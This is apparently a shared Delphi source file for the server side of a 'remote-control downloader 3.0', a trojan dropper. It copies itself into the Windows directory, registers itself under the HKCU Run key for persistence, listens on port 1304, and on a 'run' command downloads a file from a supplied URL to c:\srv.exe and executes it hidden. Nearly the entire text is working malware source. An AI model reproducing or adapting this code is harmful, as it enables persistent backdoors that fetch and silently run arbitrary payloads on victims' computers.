📄 遥控下载者3.0 服务端代码.txt
字号:
program Server;
uses Windows,Winsock,urlmon;
const
BufSize=1024;
var
buf :array[0..BufSize-1] of char;
function DownloadToFile(Sourcefile, Destfile: string): Boolean; //下载函数
begin
try
Result:=UrlDownloadToFile(nil,PChar(Sourcefile),PChar(Destfile),0,nil)=0;
except
Result:=false;
end;
end;
function StrPas(const Str: PChar): string;//转换Pchar字符为String格式
begin
Result := Str;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
procedure SendData(FSocket:integer;SendStr:string);
begin
FillChar(buf,BufSize,#0);
strcopy(buf,PChar(SendStr));
send(FSocket,buf,sizeof(buf),0);
end;
procedure Run;
var
wd :TWSAdata;
server,recSocket :TSocket;
ca :TSockAddrIn;
rec_len:integer;
ip :pchar;
port :integer;
cmd:string;
begin
//不能启动winsock库,退出
if WSAStartup($0101,wd)<>0 then exit;
//创建一个套接口
server:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
//连接有错误,退出
if server=INVALID_SOCKET then exit;
port :=1304;
ip :='127.0.0.1';
ca.sin_family :=PF_INET;
ca.sin_port :=htons(port);
ca.sin_addr.s_addr :=inet_addr(ip);
//将本地地址与套接口捆绑
if bind(server,ca,sizeof(ca))=SOCKET_ERROR then
begin
closesocket(server);
exit;
end;
//监听
listen(server,5);
recSocket :=accept(server,nil,nil);
while true do
begin
if recSocket=socket_error then exit;
rec_len :=recv(recSocket,buf,BufSize,0);
if rec_len=socket_error then
begin
closesocket(recSocket);
exit;
end;
if rec_len<=0 then exit;
cmd :=strpas(buf);
if copy(cmd,1,3)='run' then //自动运行
begin
cmd:=Copy(cmd,4,length(cmd)-3);
if Pos('http://',cmd)=0 then
cmd:='http://'+cmd;
SendData(recSocket,'>> 服务端接收到命令(下载+自动运行),正在执行...');
if DownloadToFile(cmd,'c:\srv.exe') then //下载成功
begin
Winexec('c:\srv.exe',SW_HIDE);
SendData(server,'>> 服务端下载并运行目标文件成功!');
end else
SendData(recSocket,'>> 服务端下载目标文件失败!');
end;
if Copy(cmd,1,5)='norun' then //不运行
begin
cmd:=Copy(buf,6,Length(cmd)-5);
if Pos('http://',cmd)=0 then
cmd:='http://'+cmd;
SendData(recSocket,'>> 服务端接收到命令(下载),正在执行...');
if DownloadToFile(cmd,'c:\srv.exe') then //下载成功
SendData(recSocket,'>> 服务端下载目标文件成功!')
else
SendData(recSocket,'>> 服务端下载目标文件失败!');
end;
end;
closesocket(recSocket);
closesocket(server);
end;
var
mykey :HKEY;
buffer,cmd :array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(buffer,MAX_PATH);
lstrcat(buffer,'\srv.exe');
GetModuleFileName(hInstance,cmd,MAX_PATH);
CopyFile(cmd,buffer,false);
RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\
Windows\CurrentVersion\Run',0,KEY_ALL_ACCESS,mykey);
RegSetValueEx(mykey,'Downloader',0,REG_SZ,@buffer,sizeof(buffer));
Run;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -